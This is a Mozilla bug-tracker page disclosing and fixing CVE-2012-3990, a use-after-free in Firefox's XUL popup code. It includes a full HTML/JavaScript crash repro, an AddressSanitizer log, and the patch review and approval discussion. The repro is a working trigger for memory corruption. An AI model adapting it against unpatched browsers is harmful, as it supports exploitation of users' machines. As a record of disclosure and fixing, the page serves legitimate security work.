Closed Bug 787704 (CVE-2012-3990) Opened 12 years ago Closed 12 years ago

use-after-free in nsIContent::GetNameSpaceID

Categories

(Core :: XUL, defect)

Product:
Core
Component:
XUL
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla18
Tracking Flags:
Tracking Status
firefox16 + fixed
firefox17 + fixed
firefox18 + fixed
firefox-esr10 16+ fixed

People

(Reporter: miaubiz, Assigned: smaug)

Details

(4 keywords, Whiteboard: [asan][advisory-tracking+])

Attachments

(5 files)

repro case
1.20 KB, text/html
Details
asan log linux nightly
6.29 KB, text/plain
Details
asan log linux aurora
6.29 KB, text/plain
Details
patch
1.96 KB, patch
masayuki
: review+
akeybl
: approval-mozilla-aurora+
Details | Diff | Splinter Review
for branches with nsnull
1.96 KB, patch
akeybl
: approval-mozilla-beta+
akeybl
: approval-mozilla-esr10+
Details | Diff | Splinter Review
Attached file repro case — 
when I load:

<html>
  <head>
    <style>
      .c0 { content:'A' } 
    </style>
    <script>
      onload = function() {
        document.body.appendChild(document.createElement('td'))
        el0=document.createElement('div')
        document.body.appendChild(el0)
        el1=document.createElement('form')
        document.body.appendChild(el1)
        el2=document.createElement('input')
        el2.setAttribute('type', 'submit')
        el1.appendChild(el2)
        el3=document.createElement('input')
        el3.setAttribute('required', 'A')
        el1.appendChild(el3)  
        el4=document.createElement('input')
        el4.type='file'
        el1.appendChild(el4)
        setTimeout(function() {
          el4.focus()
          setTimeout(function() {
            el4.click()
            el2.setAttribute('required', 'A')
            el0.setAttribute('class', 'c0')
            setTimeout(function() {
              document.designMode='on'
              document.execCommand('italic')
              document.designMode='off'
              setTimeout(function() {
                el2.click()
              }, 100)
            }, 100)
          }, 100)
        }, 100)
      }
    </script>
  </head>
  <body>
  </body>
</html>

I get a crash like so:

==24180== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffbe11ac98 at pc 0x7fffeeb97d74 bp 0x7ffffffedd70 sp 0x7ffffffedd68
READ of size 8 at 0x7fffbe11ac98 thread T0
    #0 0x7fffeeb97d74 in nsIContent::GetNameSpaceID() const /builds/slave/try-lnx64/build/../../../dist/include/nsINodeInfo.h:143
    #1 0x7fffee6f9a37 in nsCOMPtr<nsIDOMEventTarget>::operator=(nsCOMPtr<nsIDOMEventTarget> const&) /builds/slave/try-lnx64/build/../../../../dist/include/nsCOMPtr.h:614
    #2 0x7fffee6fe5fb in nsXULPopupManager::ShowPopupCallback(nsIContent*, nsMenuPopupFrame*, bool, bool) /builds/slave/try-lnx64/build/layout/xul/base/src/nsXULPopupManager.cpp:716
    #3 0x7fffee6fc7a2 in nsXULPopupManager::FirePopupShowingEvent(nsIContent*, bool, bool) /builds/slave/try-lnx64/build/layout/xul/base/src/nsXULPopupManager.cpp:1181
    #4 0x7fffee6fcf36 in nsXULPopupManager::ShowPopup(nsIContent*, nsIContent*, nsAString_internal const&, int, int, bool, bool, bool, nsIDOMEvent*) /builds/slave/try-lnx64/build/layout/xul/base/src/nsXULPopupManager.cpp:568
    #5 0x7fffee691040 in non-virtual thunk to nsPopupBoxObject::OpenPopup(nsIDOMElement*, nsAString_internal const&, int, int, bool, bool, nsIDOMEvent*) /builds/slave/try-lnx64/build/../../../../dist/include/nsCOMPtr.h:407
0x7fffbe11ac98 is located 24 bytes inside of 368-byte region [0x7fffbe11ac80,0x7fffbe11adf0)
freed by thread T0 here:
    #0 0x42ae21 in free ??:0
    #1 0x7fffee92a335 in nsNodeUtils::LastRelease(nsINode*) /builds/slave/try-lnx64/build/content/base/src/nsNodeUtils.cpp:261
    #2 0x7fffee9ff963 in mozilla::dom::FragmentOrElement::Release() /builds/slave/try-lnx64/build/content/base/src/FragmentOrElement.cpp:1853
    #3 0x7fffef02ebc4 in nsGlobalWindow::SetFocusedNode(nsIContent*, unsigned int, bool) /builds/slave/try-lnx64/build/dom/base/nsGlobalWindow.cpp:7765
    #4 0x7fffeefc93be in nsFocusManager::SetFocusInner(nsIContent*, int, bool, bool) 

aurora and nightly affected atleast.
Attached file asan log linux nightly — 

    
    

    
  

      
      
      
      

        Attached file
          
        asan log linux aurora
        — 
      

    


  
Component: General → XP Toolkit/Widgets: Menus
Product: Firefox → Core

        Attachment #657590 -
        Attachment mime type: text/plain → text/html

    
    

    
  
We end up having sContent pointing to a deleted object.
sPresContext looks scary too, and sTextStateObserver.

Masayuki, could you look at this? If not, I will.

    
    

    
  
Hmm, I guess sPresContext is ok and sTextStateObserver is actually refcounted.

    
    

    
  
Actually, I could take this.
Assignee: nobody → bugs

    
    

    
  
Or no :) My initial approach doesn't seem to work.
Assignee: bugs → nobody
Assignee: nobody → bugs

    
    

    
  

      
      
      
      

        Attached patch
          
          
        patch
        — 
          — Splinter Review
      

    


  

        Attachment #657613 -
        Flags: review?(masayuki)

    
    

    
  
Comment on attachment 657613 [details] [diff] [review]
patch

IIRC static nsCOMPtrs should be avoided, so I used manual refcounting here.
Also, since sContent is released when prescontext goes away, there
shouldn't be leaks.
Severity: normal → critical
Keywords: crash, 
          
            sec-critical, 
          
            testcase
OS: Linux → All
Hardware: x86 → All
Whiteboard: [asan]

    
    

    
  
Comment on attachment 657613 [details] [diff] [review]
patch

This patch looks okay for me.

However, I don't understand why does the testcase in comment 0 cause such case. Looks like el4.focus() caused releasing the content, why?

        Attachment #657613 -
        Flags: review?(masayuki) → review+

    
    

    
  
It goes something like: Focus would be in native anon button of input type file when designMode = on reframes the element.

    
    

    
  
(In reply to Olli Pettay [:smaug] from comment #10)
> It goes something like: Focus would be in native anon button of input type
> file when designMode = on reframes the element.

When it's reframed, all of the anon contents will be recreated?

    
    

    
  
Yes.

    
    

    
  
Thanks, I understand.
Keywords: csec-uaf

    
    

    
  
Olli, is this ready to be landed?

    
    

    
  
(In reply to Andrew McCreight [:mccr8] from comment #16)
> Olli, is this ready to be landed?

Yes, but wasn't sure whether I should land it immediately.

    
    

    
  
I'll try to remember to land it tomorrow.

    
    

    
  
(In reply to Olli Pettay [:smaug] from comment #18)
> I'll try to remember to land it tomorrow.

Now's the time. Please land and nominate for uplift.

    
    

    
  
Comment on attachment 657793 [details] [diff] [review]
for branches with nsnull

[Approval Request Comment]
Bug caused by (feature/regressing bug #): NA
User impact if declined: Security sensitive crash
Testing completed (on m-c, etc.): tested locally. Will land m-c real soon
Risk to taking this patch (and alternatives if risky): May keep an element
longer than before, so that could increase memory usage temporarily.
String or UUID changes made by this patch: NA

        Attachment #657793 -
        Flags: approval-mozilla-esr10?

        Attachment #657793 -
        Flags: approval-mozilla-beta?

    
    

    
  
Comment on attachment 657613 [details] [diff] [review]
patch

[Approval Request Comment]
Bug caused by (feature/regressing bug #): NA
User impact if declined: Security sensitive crash
Testing completed (on m-c, etc.): tested locally. Will land m-c real soon
Risk to taking this patch (and alternatives if risky): May keep an element
longer than before, so that could increase memory usage temporarily.
String or UUID changes made by this patch: NA

        Attachment #657613 -
        Flags: approval-mozilla-aurora?

    
    

    
  
https://hg.mozilla.org/mozilla-central/rev/f8d30ea0974c
Status: NEW → RESOLVED
Closed: 12 years ago
Resolution: --- → FIXED

    
    

    
  
Comment on attachment 657613 [details] [diff] [review]
patch

[Triage Comment]
Approving for Aurora in preparation for Beta consideration.

        Attachment #657613 -
        Flags: approval-mozilla-aurora? → approval-mozilla-aurora+

    
    

    
  
We'll approve on Monday if there haven't been any Nightly/Aurora regressions (please land on Aurora asap).
Target Milestone: --- → mozilla18

    
    

    
  
Thanks for landing to Aurora.
(I was going to do it later today.)

    
    

    
  
Comment on attachment 657793 [details] [diff] [review]
for branches with nsnull

[Triage Comment]
Approving for Beta (please land no later than tomorrow morning PT) and ESR10.

        Attachment #657793 -
        Flags: approval-mozilla-esr10?

        Attachment #657793 -
        Flags: approval-mozilla-esr10+

        Attachment #657793 -
        Flags: approval-mozilla-beta?

        Attachment #657793 -
        Flags: approval-mozilla-beta+
Whiteboard: [asan] → [asan][advisory-tracking+]
Alias: CVE-2012-3990

    
  
Keywords: verifyme
Group: core-security
Flags: sec-bounty+

    
    

    
  
mass remove verifyme requests greater than 4 months old
Keywords: verifyme
Component: XP Toolkit/Widgets: Menus → XUL

          You need to log in
          before you can comment on or make changes to this bug.
        






  

    
  







  

    

      
Attachment

      

      
      
      
      
    

    

      

        

          

            
General

            

              Creator: 



            

            
Created: 

            
Updated: 

            
Size: